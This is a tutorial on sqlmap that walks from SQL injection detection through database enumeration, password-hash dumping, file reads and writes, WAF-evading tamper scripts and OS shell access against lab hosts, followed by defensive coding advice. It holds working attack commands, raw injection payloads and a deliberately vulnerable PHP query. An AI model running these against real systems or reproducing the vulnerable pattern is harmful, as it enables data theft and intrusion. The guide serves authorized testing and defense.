SQL injection never really went away. Frameworks got better, ORMs became common, and prepared statements are now standard advice—but real apps still ship with unsafe query construction, legacy endpoints, and weird edge cases that turn “probably safe” into “definitely injectable.” That’s where sqlmap earns its reputation. It’s the go-to automation tool for detecting, confirming, and exploiting SQL injection vulnerabilities in a controlled, repeatable way. In this guide, we’ll walk from initial discovery to database enumeration, data extraction, and—where the environment allows it—operating system command execution and shell access. The goal is not “push button, get shell,” but understanding what sqlmap is doing, when to trust it, when to slow down, and how to defend against everything it automates.
What sqlmap Is and Why It Matters
sqlmap is an open-source SQL injection exploitation framework. It automates:
- Detection of injectable parameters
- Fingerprinting the backend DBMS
- Enumerating databases, tables, columns, and users
- Dumping data
- Reading/writing files in some cases
- Executing OS commands or spawning shells when database privileges and environment permit
- Bypassing some filters, encodings, and WAF behaviors
It supports major database engines, including:
- MySQL / MariaDB
- PostgreSQL
- Microsoft SQL Server
- Oracle
- SQLite
At a high level, sqlmap works by sending many crafted HTTP requests and observing differences in responses, timing, content length, status codes, redirects, and errors. It can test multiple SQLi classes:
- Boolean-based blind
- Time-based blind
- Error-based
- UNION-based
- Stacked queries
This makes it extremely effective in ethical testing, but also noisy if used carelessly. Always use it only against systems you own or are explicitly authorized to assess.
Lab Setup and Safe Targeting
Before pointing sqlmap at anything, define scope and constraints:
- Confirm written authorization
- Identify test windows if production is involved
- Rate-limit requests when needed
- Avoid dumping unnecessary sensitive data
- Prefer staging or lab replicas when possible
A deliberately vulnerable lab target might look like this:
GET /product?id=42 HTTP/1.1
Host: lab.local
User-Agent: Mozilla/5.0
And a vulnerable backend pattern might be:
<?php
$id = $_GET['id'];
$query = "SELECT name, price FROM products WHERE id = $id";
$result = mysqli_query($conn, $query);
?>
That direct interpolation is exactly what sqlmap loves.
First Contact: Basic Detection
The simplest starting point is a URL with a suspicious parameter:
sqlmap -u "http://lab.local/product?id=42"
If the parameter is injectable, sqlmap will probe it with various payloads and report findings. Common signs in manual testing that a parameter is worth checking include:
- Single quote causes an error:text
/product?id=42' - Boolean differences:text
/product?id=42 AND 1=1 /product?id=42 AND 1=2 - Time delay:text
/product?id=42 AND SLEEP(5)
sqlmap automates this process and handles DB-specific syntax variations.
Useful Detection Flags
A more controlled invocation:
sqlmap -u "http://lab.local/product?id=42" --batch --banner --current-user --current-db
What these do:
--batch: non-interactive mode, use defaults--banner: grab DB banner/version if possible--current-user: show DB user--current-db: show current database
If you only want to test a specific parameter:
sqlmap -u "http://lab.local/product?id=42&cat=7" -p id
This avoids wasting time on unrelated parameters.
Risk and Level
Two important tuning knobs:
sqlmap -u "http://lab.local/product?id=42" --risk=3 --level=5
--levelincreases the number of tests and injection points checked--riskincreases the aggressiveness of payloads
Typical guidance:
- Start with defaults
- Increase when you suspect filtering or non-obvious injection
- Be careful: higher settings mean more requests and potentially more impact
Working with POST Requests
A lot of real SQLi lives in forms, JSON APIs, and authenticated workflows.
Form POST Example
sqlmap -u "http://lab.local/login" \
--data="username=test&password=test" \
-p username \
--batch
If the vulnerable parameter is in the POST body, sqlmap can target it directly.
JSON Request Example
For APIs:
sqlmap -u "http://lab.local/api/user" \
--data='{"id":"42","verbose":true}' \
--headers="Content-Type: application/json" \
-p id
Cookie Injection
Sometimes the vulnerable input is in a cookie:
sqlmap -u "http://lab.local/profile" \
--cookie="session=abc123; user_id=42" \
-p user_id
Authenticated Testing: Requests, Headers, and Sessions
Modern apps often require authentication before you can reach injectable endpoints. The cleanest way to test those is by capturing a real request and feeding it to sqlmap.
Using a Raw Request File
Save a request from Burp Suite or your proxy as request.txt:
POST /account/orders HTTP/1.1
Host: lab.local
Cookie: session=xyz987
Content-Type: application/x-www-form-urlencoded
order_id=1001&filter=active
Then run:
sqlmap -r request.txt -p order_id --batch
This is usually more reliable than manually reconstructing headers.
Adding Custom Headers
sqlmap -u "http://lab.local/api/orders?id=1" \
--headers="Authorization: Bearer eyJ...; X-Requested-With: XMLHttpRequest"
Handling CSRF Tokens
Some apps rotate CSRF tokens per request. sqlmap can work with that in some scenarios:
sqlmap -u "http://lab.local/form" \
--data="id=1&csrf_token=abcd1234" \
--csrf-token="csrf_token"
If the token is dynamic and tied to a session flow, using a request file or authenticated proxy workflow is often easier.
Enumerating the Database
Once injection is confirmed, enumeration begins.
Identify the DBMS
sqlmap -u "http://lab.local/product?id=42" --fingerprint
sqlmap will try to determine whether it’s MySQL, PostgreSQL, MSSQL, etc. This matters because exploitation features differ by backend.
List Databases
sqlmap -u "http://lab.local/product?id=42" --dbs
Example output might reveal:
information_schemaappdbanalytics
List Tables in a Database
sqlmap -u "http://lab.local/product?id=42" -D appdb --tables
List Columns in a Table
sqlmap -u "http://lab.local/product?id=42" -D appdb -T users --columns
Dump Data
sqlmap -u "http://lab.local/product?id=42" -D appdb -T users --dump
Or dump only selected columns:
sqlmap -u "http://lab.local/product?id=42" \
-D appdb -T users -C id,username,email,password_hash --dump
Be disciplined here. In a real assessment, dump only what’s necessary to prove impact.
Understanding the Underlying Payloads
You should know what automation is trying under the hood.
Boolean-Based Blind
A classic test:
1 AND 1=1
1 AND 1=2
If the page content changes based on truthiness, sqlmap can infer data one bit at a time.
Time-Based Blind
For MySQL:
1 AND SLEEP(5)
For PostgreSQL:
1; SELECT pg_sleep(5)--
For MSSQL:
1; WAITFOR DELAY '0:0:5'--
If the app suppresses errors and returns identical pages, time delays can still confirm injection.
Error-Based
Some backends leak useful error messages:
1 AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION(), 0x7e))
This can force version data into an XML parsing error on MySQL.
UNION-Based
If the original query output is reflected:
1 UNION SELECT null, database(), user()--
sqlmap can automatically discover column counts and compatible types.
Speed, Stability, and Evasion
Real targets are messy. Networks are slow, WAFs interfere, and apps behave inconsistently.
Increase Threads Carefully
sqlmap -u "http://lab.local/product?id=42" --threads=5
More threads can speed up enumeration, especially for blind extraction, but may destabilize sessions or trigger rate limits.
Use Time Delay Tuning
sqlmap -u "http://lab.local/product?id=42" --time-sec=3
Useful when time-based tests are too slow or too noisy.
Fresh Queries and Session Handling
sqlmap caches results. To force re-testing:
sqlmap -u "http://lab.local/product?id=42" --flush-session
Tamper Scripts
Tamper scripts modify payloads to bypass weak filters or WAF rules.
Example:
sqlmap -u "http://lab.local/product?id=42" --tamper=space2comment,between
Common uses:
- Replace spaces with comments
- Obfuscate operators
- Change casing or encodings
Important: tamper scripts are not magic WAF bypasses. They help against brittle filtering, not robust defenses.
Randomize User-Agent
sqlmap -u "http://lab.local/product?id=42" --random-agent
Useful for blending in slightly better, though not a serious stealth feature.
Going Beyond Data: File Access and OS Command Execution
This is where people get excited—and where you need the most realism. sqlmap cannot always jump from SQLi to shell. It depends on:
- DBMS type
- DB user privileges
- OS permissions
- Whether stacked queries are supported
- Whether dangerous DB features are enabled
Check DBA Privileges
sqlmap -u "http://lab.local/product?id=42" --is-dba
If the DB user is highly privileged, post-exploitation options improve dramatically.
Read Files
In some scenarios:
sqlmap -u "http://lab.local/product?id=42" --file-read="/etc/passwd"
On Windows:
sqlmap -u "http://lab.local/product?id=42" --file-read="C:\\Windows\\win.ini"
This depends heavily on DB and filesystem permissions.
Write Files
Potentially possible in some DBMS/configurations:
sqlmap -u "http://lab.local/product?id=42" \
--file-write="shell.php" \
--file-dest="/var/www/html/shell.php"
This is highly environment-specific and often blocked by permissions, path restrictions, or modern deployment models.
Execute OS Commands
sqlmap -u "http://lab.local/product?id=42" --os-cmd="id"
Or on Windows:
sqlmap -u "http://lab.local/product?id=42" --os-cmd="whoami"
If supported, sqlmap may leverage DB-native mechanisms such as:
- MSSQL
xp_cmdshell - PostgreSQL command execution avenues in privileged contexts
- MySQL UDF-based techniques in very specific conditions
Interactive OS Shell
sqlmap -u "http://lab.local/product?id=42" --os-shell
This gives a pseudo-shell interface through repeated command execution. It is not the same as a stable reverse shell, but it can be enough to validate impact.
SQL Shell
If OS command execution is unavailable, a SQL shell may still be useful:
sqlmap -u "http://lab.local/product?id=42" --sql-shell
You can run queries directly:
SELECT @@version;
SELECT user();
SHOW DATABASES;
Practical Walkthrough: From Parameter to Dump
Let’s simulate a realistic flow against a lab endpoint.
Step 1: Test the Endpoint
sqlmap -u "http://lab.local/item?id=7" --batch
Suppose sqlmap reports boolean-based blind SQL injection on id.
Step 2: Fingerprint and Gather Basics
sqlmap -u "http://lab.local/item?id=7" --banner --current-user --current-db --fingerprint
Example findings:
- DBMS: MySQL 8.x
- Current DB:
shop - Current user:
shopuser@localhost
Step 3: Enumerate Databases and Tables
sqlmap -u "http://lab.local/item?id=7" --dbs
sqlmap -u "http://lab.local/item?id=7" -D shop --tables
Suppose tables include:
usersordersproducts
Step 4: Inspect the `users` Table
sqlmap -u "http://lab.local/item?id=7" -D shop -T users --columns
Columns returned:
idusernameemailpassword_hashrole
Step 5: Dump Targeted Data
sqlmap -u "http://lab.local/item?id=7" \
-D shop -T users \
-C username,email,role,password_hash \
--dump
Now you have enough evidence to document impact: unauthorized access to user records and password hashes.
Step 6: Check Privileges
sqlmap -u "http://lab.local/item?id=7" --is-dba
If not DBA, shell-oriented escalation may be impossible or not worth pursuing. That’s a good moment to stop and report.
Common Pitfalls
Blindly Trusting Automation
sqlmap is powerful, but false positives and unstable results happen. Always verify important findings manually where possible.
Overly Aggressive Scans
Using --risk=3 --level=5 --threads=10 on a fragile production app is a great way to cause trouble. Start light.
Ignoring Application Logic
If the app requires a valid workflow, anti-CSRF token, or session state, sqlmap may fail unless you provide realistic requests.
Assuming SQLi Equals RCE
It doesn’t. Data theft is common. OS command execution requires extra conditions.
Dumping Too Much Data
In a professional engagement, least necessary access applies. Prove impact without exfiltrating everything.
Defensive Takeaways: How to Stop What sqlmap Automates
The best way to understand sqlmap is to build defenses that make it useless.
Use Parameterized Queries Everywhere
Unsafe:
query = f"SELECT * FROM users WHERE id = {user_id}"
cursor.execute(query)
Safe with Python psycopg2:
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
Safe with PHP PDO:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
Safe with Node.js and mysql2:
const [rows] = await conn.execute(
"SELECT * FROM users WHERE id = ?",
[id]
);
Avoid Dynamic SQL Construction
Even with an ORM, beware of:
- Raw query APIs
- String-concatenated filters
- Dynamic
ORDER BYor column selection without allowlists
For dynamic sort fields, use allowlists:
const allowedSort = ["name", "created_at", "price"];
const sort = allowedSort.includes(inputSort) ? inputSort : "name";
const sql = `SELECT name, price FROM products ORDER BY ${sort}`;
You cannot parameterize identifiers in the same way as values, so allowlisting matters.
Minimize Database Privileges
The application DB account should not be able to:
- Read arbitrary files
- Write to web roots
- Execute OS commands
- Create dangerous functions or extensions
- Access unrelated schemas
Principle of least privilege turns many SQLi bugs from catastrophic to contained.
Disable Dangerous DB Features
Examples:
- Disable
xp_cmdshellon MSSQL unless absolutely required - Restrict file read/write capabilities
- Limit extension creation on PostgreSQL
- Avoid running DB services with excessive OS privileges
Handle Errors Safely
Don’t leak raw SQL errors to users. Log them server-side, return generic messages client-side.
Add Monitoring and Rate Controls
sqlmap often generates recognizable behavior:
- Repeated requests with odd payloads
- Time-based probes
- Enumeration patterns across parameters
WAFs and RASP are not substitutes for secure coding, but they can help detect and slow active exploitation.
Test Your Own Apps
Use sqlmap internally against your staging environment. It’s a great regression check after fixing a SQLi issue.
Example CI-adjacent validation workflow:
- Reproduce the vulnerable request in a test environment
- Confirm
sqlmapcan exploit it before the fix - Deploy the fix
- Re-run the same
sqlmapcommand - Verify injection is no longer detected
A Few High-Value Commands to Remember
Basic detection:
sqlmap -u "http://target.local/page?id=1" --batch
POST body testing:
sqlmap -u "http://target.local/login" --data="username=a&password=b" -p username
Use a raw request:
sqlmap -r request.txt
Enumerate DBs:
sqlmap -u "http://target.local/page?id=1" --dbs
List tables:
sqlmap -u "http://target.local/page?id=1" -D appdb --tables
Dump a table:
sqlmap -u "http://target.local/page?id=1" -D appdb -T users --dump
Interactive SQL shell:
sqlmap -u "http://target.local/page?id=1" --sql-shell
Attempt OS shell:
sqlmap -u "http://target.local/page?id=1" --os-shell
Final Thoughts
sqlmap is one of those tools that can make beginners feel powerful fast—but the real skill is knowing how to use it surgically. Good operators understand the HTTP request they’re attacking, the SQLi class they’re dealing with, the DBMS behavior underneath, and the practical limits of post-exploitation. Good defenders understand the same mechanics and design systems that shut them down at the root: parameterized queries, strict input handling, least-privileged database accounts, and safe operational defaults.
If you’re a developer, learn enough sqlmap to test your own assumptions. If you’re a junior security engineer, use it as an amplifier, not a crutch. The tool is excellent. Your judgment is what keeps the engagement accurate, safe, and useful.